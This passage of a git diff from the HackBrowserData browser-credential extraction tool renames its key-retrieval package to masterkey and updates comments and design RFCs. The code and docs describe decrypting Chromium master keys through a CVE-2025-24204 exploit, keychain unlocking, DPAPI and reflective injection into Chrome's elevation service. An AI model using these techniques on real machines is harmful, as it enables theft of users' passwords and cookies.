([]byte, error) { for _, rec := range records { if rec.Account == storage { @@ -84,10 +75,8 @@ func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ( return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } -// KeychainPasswordRetriever unlocks login.keychain-db directly using the -// user's macOS login password. No root privileges required. -// The keychain is opened and decrypted only once; subsequent calls -// for different browsers reuse the cached records. +// KeychainPasswordRetriever unlocks login.keychain-db with the macOS login password (no root). +// Records are cached once and reused across browsers. type KeychainPasswordRetriever struct { Password string @@ -111,9 +100,8 @@ func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) { return findStorageKey(r.records, hints.KeychainLabel) } -// SecurityCmdRetriever uses macOS `security` CLI to query Keychain. -// This may trigger a password dialog on macOS. Results are cached -// per storage name so each browser's key is fetched only once. +// SecurityCmdRetriever queries Keychain via the macOS `security` CLI (may prompt). Results are +// cached per storage name so each browser's key is fetched once. type SecurityCmdRetriever struct { mu sync.Mutex cache map[string]securityResult @@ -151,9 +139,8 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { if errors.Is(ctx.Err(), context.DeadlineExceeded) { return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout) } - // `security find-generic-password` exits non-zero with empty stderr when the user denies - // the keychain access prompt or enters the wrong password. Surface that explicitly so the - // error message is actionable instead of the cryptic "exit status 128 ()". + // `security` exits non-zero with empty stderr when the user denies the prompt or mistypes; + // surface that instead of the cryptic "exit status 128 ()". stderrStr := strings.TrimSpace(stderr.String()) if stderrStr == "" { return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err) @@ -172,15 +159,12 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { return darwinParams.deriveKey(secret), nil } -// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher -// prefixes are not used by Chromium on this platform), populated by a within-tier first-success -// chain tried in order: -// -// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only) +// DefaultRetrievers wires the macOS V10 chain (the only tier Chromium uses here), first success wins: +// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only) // 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty -// 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog) +// 3. SecurityCmdRetriever — `security` CLI fallback (may prompt) func DefaultRetrievers(keychainPassword string) Retrievers { - chain := []KeyRetriever{&GcoredumpRetriever{}} + chain := []Retriever{&GcoredumpRetriever{}} if keychainPassword != "" { chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword}) } diff --git a/crypto/keyretriever/keyretriever_darwin_test.go b/masterkey/retriever_darwin_test.go similarity index 98% rename from crypto/keyretriever/keyretriever_darwin_test.go rename to masterkey/retriever_darwin_test.go index 92cdea6..2982108 100644 --- a/crypto/keyretriever/keyretriever_darwin_test.go +++ b/masterkey/retriever_darwin_test.go @@ -1,6 +1,6 @@ //go:build darwin -package keyretriever +package masterkey import ( "testing" diff --git a/crypto/keyretriever/keyretriever_linux.go b/masterkey/retriever_linux.go similarity index 64% rename from crypto/keyretriever/keyretriever_linux.go rename to masterkey/retriever_linux.go index 7fa760f..407b0ec 100644 --- a/crypto/keyretriever/keyretriever_linux.go +++ b/masterkey/retriever_linux.go @@ -1,6 +1,6 @@ //go:build linux -package keyretriever +package masterkey import ( "crypto/sha1" @@ -69,27 +69,17 @@ func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) { return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } -// PosixRetriever produces Chromium's kV10Key by applying PBKDF2 to the hardcoded password -// "peanuts". Matches Chromium's upstream PosixKeyProvider (components/os_crypt/async/browser/ -// posix_key_provider.cc): a deterministic 16-byte AES-128 key used to encrypt ciphertexts with -// the "v10" prefix when no keyring is available (headless servers, Docker, CI). +// PosixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the +// deterministic v10 key used when no keyring exists (headless/Docker/CI). Mirrors PosixKeyProvider. type PosixRetriever struct{} func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) { return linuxParams.deriveKey([]byte("peanuts")), nil } -// DefaultRetrievers returns the Linux Retrievers, one per cipher tier. Chromium on Linux emits -// distinct prefixes for distinct key sources: -// -// - v10 prefix → PBKDF2("peanuts") — Chromium's kV10Key, emitted when no keyring is available -// (headless servers, Docker, CI). -// - v11 prefix → PBKDF2(keyring secret) — Chromium's kV11Key, emitted when D-Bus Secret -// Service (GNOME Keyring / KWallet) is reachable. -// -// A profile can carry both prefixes if the host moved between keyring-equipped and headless -// sessions, so both tiers run independently with per-tier logging rather than a first-success -// chain. +// DefaultRetrievers wires the Linux tiers, one per prefix Chromium emits: v10 = PBKDF2("peanuts") +// (kV10Key, no keyring); v11 = PBKDF2(keyring secret) (kV11Key, via D-Bus). A profile can carry both +// if the host moved between headless and keyring sessions, so both run independently. func DefaultRetrievers() Retrievers { return Retrievers{ V10: &PosixRetriever{}, diff --git a/crypto/keyretriever/keyretriever_linux_test.go b/masterkey/retriever_linux_test.go similarity index 99% rename from crypto/keyretriever/keyretriever_linux_test.go rename to masterkey/retriever_linux_test.go index e167d9b..402767f 100644 --- a/crypto/keyretriever/keyretriever_linux_test.go +++ b/masterkey/retriever_linux_test.go @@ -1,6 +1,6 @@ //go:build linux -package keyretriever +package masterkey import ( "testing" diff --git a/crypto/keyretriever/keyretriever_test.go b/masterkey/retriever_test.go similarity index 98% rename from crypto/keyretriever/keyretriever_test.go rename to masterkey/retriever_test.go index 1c2c626..c9c2a41 100644 --- a/crypto/keyretriever/keyretriever_test.go +++ b/masterkey/retriever_test.go @@ -1,4 +1,4 @@ -package keyretriever +package masterkey import ( "errors" diff --git a/crypto/keyretriever/keyretriever_windows.go b/masterkey/retriever_windows.go similarity index 67% rename from crypto/keyretriever/keyretriever_windows.go rename to masterkey/retriever_windows.go index fe6ed7c..5a7c50a 100644 --- a/crypto/keyretriever/keyretriever_windows.go +++ b/masterkey/retriever_windows.go @@ -1,6 +1,6 @@ //go:build windows -package keyretriever +package masterkey import ( "encoding/base64" @@ -12,8 +12,7 @@ import ( "github.com/moond4rk/hackbrowserdata/crypto" ) -// DPAPIRetriever reads the encrypted key from Chrome's Local State file -// and decrypts it using Windows DPAPI. +// DPAPIRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI. type DPAPIRetriever struct{} func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { @@ -32,7 +31,6 @@ func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { return nil, fmt.Errorf("base64 decode encrypted_key: %w", err) } - // First 5 bytes are the "DPAPI" prefix, validate and skip them const dpapiPrefix = "DPAPI" if len(keyBytes) <= len(dpapiPrefix) { return nil, fmt.Errorf("encrypted_key too short: %d bytes", len(keyBytes)) @@ -48,11 +46,8 @@ func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { return masterKey, nil } -// DefaultRetrievers returns the Windows Retrievers: DPAPI for v10 (Chrome's os_crypt.encrypted_key) -// and ABE for v20 (Chrome 127+ os_crypt.app_bound_encrypted_key retrieved via reflective injection -// into the browser's elevation service). Both run independently — a single Chrome profile upgraded -// from pre-v127 carries mixed v10+v20 ciphertexts, and both tiers must be attempted to decrypt the -// full profile (see issue #578). +// DefaultRetrievers wires the Windows tiers: DPAPI for v10, ABE for v20 (Chrome 127+, via reflective +// injection). Both run — a profile upgraded from pre-v127 mixes v10+v20 and needs both (issue #578). func DefaultRetrievers() Retrievers { return Retrievers{ V10: &DPAPIRetriever{}, diff --git a/masterkey/static.go b/masterkey/static.go new file mode 100644 index 0000000..315f001 --- /dev/null +++ b/masterkey/static.go @@ -0,0 +1,19 @@ +package masterkey + +// StaticRetriever returns pre-supplied key bytes (from a Dump) instead of platform retrieval, ignoring +// Hints. An empty key returns (nil, nil) — the "tier not applicable" signal NewMasterKeys expects. +type StaticRetriever struct { + key []byte +} + +// NewStaticRetriever wraps key bytes; a nil/empty key yields a retriever that reports the tier unavailable. +func NewStaticRetriever(key []byte) *StaticRetriever { + return &StaticRetriever{key: key} +} + +func (p *StaticRetriever) RetrieveKey(_ Hints) ([]byte, error) { + if len(p.key) == 0 { + return nil, nil + } + return p.key, nil +} diff --git a/rfcs/001-project-architecture.md b/rfcs/001-project-architecture.md index 80f8641..165fc61 100644 --- a/rfcs/001-project-architecture.md +++ b/rfcs/001-project-architecture.md @@ -25,7 +25,7 @@ HackBrowserData/ │ └── firefox/ # Firefox engine: extraction, NSS key derivation ├── types/ # Data model: Category enum, Entry structs, BrowserData ├── crypto/ # Encryption primitives, cipher version detection -│ └── keyretriever/ # Platform-specific master key retrieval (Keychain/DPAPI/D-Bus) +├── masterkey/ # Platform-specific master key retrieval (Keychain/DPAPI/D-Bus) ├── filemanager/ # Temp file session, locked file handling (Windows) ├── output/ # Output Writer: CSV, JSON, CookieEditor formatters ├── log/ # Logging with level filtering @@ -83,10 +83,10 @@ There are two entry points, one for extraction and one for discovery: ``` DiscoverBrowsersWithKeys(opts) // used by `dump` — ready to Extract - → pickFromConfigs(configs, opts) // shared discovery core + → discoverFromConfigs(configs, opts) // shared discovery core → platformBrowsers() // build-tagged list for this OS → filter by name / profile path - → newBrowsers(cfg) // dispatch to chromium/firefox/safari.NewBrowsers + → newBrowser(cfg) // dispatch to chromium/firefox/safari.NewBrowser → discoverProfiles() // scan profile subdirectories → resolveSourcePaths() // stat candidates, first match wins → newCredentialInjector(opts) // build-tagged: returns a browserInjector @@ -94,20 +94,15 @@ DiscoverBrowsersWithKeys(opts) // used by `dump` — ready to inject(b) // type-assert retrieverSetter / keychainPasswordSetter DiscoverBrowsers(opts) // used by `list` / `list --detail` - → pickFromConfigs(configs, opts) // same shared discovery core, NO injection + → discoverFromConfigs(configs, opts) // same shared discovery core, NO injection ``` -`DiscoverBrowsersWithKeys` does discovery + decryption setup in one call; the returned -browsers are ready for `b.Extract`. `DiscoverBrowsers` skips injection -entirely, so list-style commands never trigger the macOS Keychain password -prompt — they have no use for the credential. Both entry points share the -same `pickFromConfigs` core, so filtering/profile-path/glob semantics stay -consistent. +`DiscoverBrowsersWithKeys` does discovery + decryption setup in one call; the returned browsers are ready for `b.Extract`. `DiscoverBrowsers` skips injection entirely, so list-style commands never trigger the macOS Keychain password prompt — they have no use for the credential. Both entry points share the same `discoverFromConfigs` core, so filtering/profile-path/glob semantics stay consistent. Key design decisions: -- **One KeyRetriever chain per process** — built lazily inside `newCredentialInjector` and reused across every Chromium browser and every profile to prevent repeated keychain prompts on macOS. -- **Discovery is decoupled from injection** — `pickFromConfigs` is injection-free; `DiscoverBrowsers` stops after it, `DiscoverBrowsersWithKeys` continues into injection. +- **One Retriever chain per process** — built lazily inside `newCredentialInjector` and reused across every Chromium browser and every profile to prevent repeated keychain prompts on macOS. +- **Discovery is decoupled from injection** — `discoverFromConfigs` is injection-free; `DiscoverBrowsers` stops after it, `DiscoverBrowsersWithKeys` continues into injection. - **Profile discovery differs by engine**: Chromium looks for `Preferences` files in subdirectories; Firefox accepts any subdirectory containing known source files. - **Flat layout fallback** — Opera-style browsers that store data directly in UserDataDir (no profile subdirectories) are handled by falling back to the base directory. diff --git a/rfcs/006-key-retrieval-mechanisms.md b/rfcs/006-key-retrieval-mechanisms.md index 4dbff88..3aad882 100644 --- a/rfcs/006-key-retrieval-mechanisms.md +++ b/rfcs/006-key-retrieval-mechanisms.md @@ -14,11 +14,11 @@ Chromium-based browsers encrypt sensitive data (passwords, cookies, credit cards | Windows | `Local State` JSON (DPAPI-encrypted) | Raw AES-256 key | | Linux | GNOME Keyring / KDE Wallet via D-Bus | Password string → PBKDF2 → AES-128 | -Each platform may have multiple retrieval strategies. The `KeyRetriever` interface and `ChainRetriever` pattern abstract over these strategies, trying each in priority order until one succeeds. +Each platform may have multiple retrieval strategies. The `Retriever` interface and `ChainRetriever` pattern abstract over these strategies, trying each in priority order until one succeeds. For Chromium encryption details (cipher versions, AES-CBC/GCM), see [RFC-003](003-chromium-encryption.md). Firefox manages its own keys via `key4.db` — see [RFC-005](005-firefox-encryption.md). -## 2. KeyRetriever Interface +## 2. Retriever Interface The interface takes a single `Hints` struct so caller intent is explicit rather than positional: @@ -115,14 +115,14 @@ Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermedi ### 4.4 Dual-Tier Retrievers (V10 + V20) -Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there). +Windows populates two slots of the `masterkey.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there). | Slot | Retriever | Source field | Mechanism | |------|-----------|--------------|-----------| | V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) | | V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) | -`browser/browser_windows.go::newCredentialInjector` calls `keyretriever.DefaultRetrievers()` and wires the resulting struct through `Browser.SetKeyRetrievers(r)`. At extract time `keyretriever.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful. +`browser/browser_windows.go::newCredentialInjector` calls `masterkey.DefaultRetrievers()` and wires the resulting struct through `Browser.SetRetrievers(r)`. At extract time `masterkey.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful. **Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output. @@ -132,7 +132,7 @@ Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (leg ### 5.1 Dual-Tier Retrievers (V10 + V11) -Linux populates two slots of the `keyretriever.Retrievers` struct — one per cipher prefix that Chromium emits on this platform: +Linux populates two slots of the `masterkey.Retrievers` struct — one per cipher prefix that Chromium emits on this platform: | Slot | Prefix | Retriever | Mechanism | Chromium name | |------|--------|-----------|-----------|---------------| @@ -182,7 +182,7 @@ The authoritative mapping lives in the `KeychainLabel` field of each entry in `p ## 7. Safari Credential Extraction -Safari is **not** a consumer of the `KeyRetriever` interface. It has its own credential-extraction path in `browser/safari/extract_password.go`, which uses [keychainbreaker](https://github.com/moond4rk/keychainbreaker) directly to list `InternetPassword` records from `login.keychain-db`. +Safari is **not** a consumer of the `Retriever` interface. It has its own credential-extraction path in `browser/safari/extract_password.go`, which uses [keychainbreaker](https://github.com/moond4rk/keychainbreaker) directly to list `InternetPassword` records from `login.keychain-db`. This is a deliberate architectural choice, not an oversight. The following sections explain why. @@ -196,21 +196,21 @@ This is a deliberate architectural choice, not an oversight. The following secti | Failure mode | Hard fail (no key → cannot decrypt) | Soft fail (degrade to metadata-only) | | Caching benefit | High (multi-profile, multi-browser) | None (single browser, single call) | -Forcing Safari through the `KeyRetriever` interface would require returning a different type than `[]byte`, contradicting the interface's documented purpose as the *master-key* abstraction. Forcing it through a parallel "InternetPassword chain" would be over-engineering for a single consumer that has no fallback strategies worth chaining. +Forcing Safari through the `Retriever` interface would require returning a different type than `[]byte`, contradicting the interface's documented purpose as the *master-key* abstraction. Forcing it through a parallel "InternetPassword chain" would be over-engineering for a single consumer that has no fallback strategies worth chaining. Note the "failure mode" row in particular: Chromium *must* have a master key or extraction fails entirely, so it needs a chain of escalating strategies. Safari can degrade gracefully — if the keychain cannot be unlocked, metadata-only export (URLs and usernames, no plaintext passwords) is still useful output, so a single "try keychainbreaker, warn on failure" is sufficient. ### 7.2 The General Rule -> **Each browser package owns its own credential-acquisition strategy. `crypto/keyretriever` exists only to share retrieval logic across the Chromium variant family. New browser implementations should follow Safari's and Firefox's example — own your credential code.** +> **Each browser package owns its own credential-acquisition strategy. `masterkey` exists only to share retrieval logic across the Chromium variant family. New browser implementations should follow Safari's and Firefox's example — own your credential code.** Evidence the rule is already in force: -- **Firefox** (`browser/firefox/firefox.go`) does not import `keyretriever` or `keychainbreaker`. It derives keys from `key4.db` via internal NSS PBE. See RFC-005. +- **Firefox** (`browser/firefox/firefox.go`) does not import `masterkey` or `keychainbreaker`. It derives keys from `key4.db` via internal NSS PBE. See RFC-005. - **Safari** (`browser/safari/extract_password.go`) uses `keychainbreaker` directly for `InternetPassword` records. -- **Chromium variants** all go through `crypto/keyretriever` because they share exactly one chain and benefit from the shared `sync.Once` caching. +- **Chromium variants** all go through `masterkey` because they share exactly one chain and benefit from the shared `sync.Once` caching. -Future contributors adding a new macOS browser that reads credentials from the Keychain should add their access logic to that browser's package, not extend `keyretriever`. Only extend `keyretriever` if the new browser is a Chromium variant that fits the existing master-key chain. +Future contributors adding a new macOS browser that reads credentials from the Keychain should add their access logic to that browser's package, not extend `masterkey`. Only extend `masterkey` if the new browser is a Chromium variant that fits the existing master-key chain. ### 7.3 Where the `--keychain-pw` Password Goes @@ -218,7 +218,7 @@ The macOS login password is resolved once at startup by `browser/browser_darwin. | Consumer | Capability interface | Defined in | Payload | |---|---|---|---| -| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `keyretriever.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) | +| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `masterkey.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) | | Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` | The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only. diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md index 56a8a05..ff6780e 100644 --- a/rfcs/010-chrome-abe-integration.md +++ b/rfcs/010-chrome-abe-integration.md @@ -14,7 +14,7 @@ This RFC documents how HackBrowserData integrates ABE support end-to-end while k Related RFCs: - [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20) -- [RFC-006](006-key-retrieval-mechanisms.md) — `KeyRetriever` / `ChainRetriever` +- [RFC-006](006-key-retrieval-mechanisms.md) — `Retriever` / `ChainRetriever` - [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling ### 1.1 Compatibility contract @@ -46,7 +46,7 @@ End-to-end flow when `hack-browser-data.exe` encounters a v20 Chromium cookie on ``` browser/chromium.Extract() - → keyretriever.Chain [ABERetriever, DPAPIRetriever] + → masterkey.Chain [ABERetriever, DPAPIRetriever] → ABERetriever.RetrieveKey(): reads Local State → extracts APPB-prefixed blob resolves browser exe via registry App Paths @@ -191,7 +191,7 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time ### 5.3 Retriever wiring & v20 routing -`keyretriever.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`: +`masterkey.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`: 1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs. 2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback). @@ -321,5 +321,5 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows | RFC | Relation | |---|---| | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC | -| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `keyretriever.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | +| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots | | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |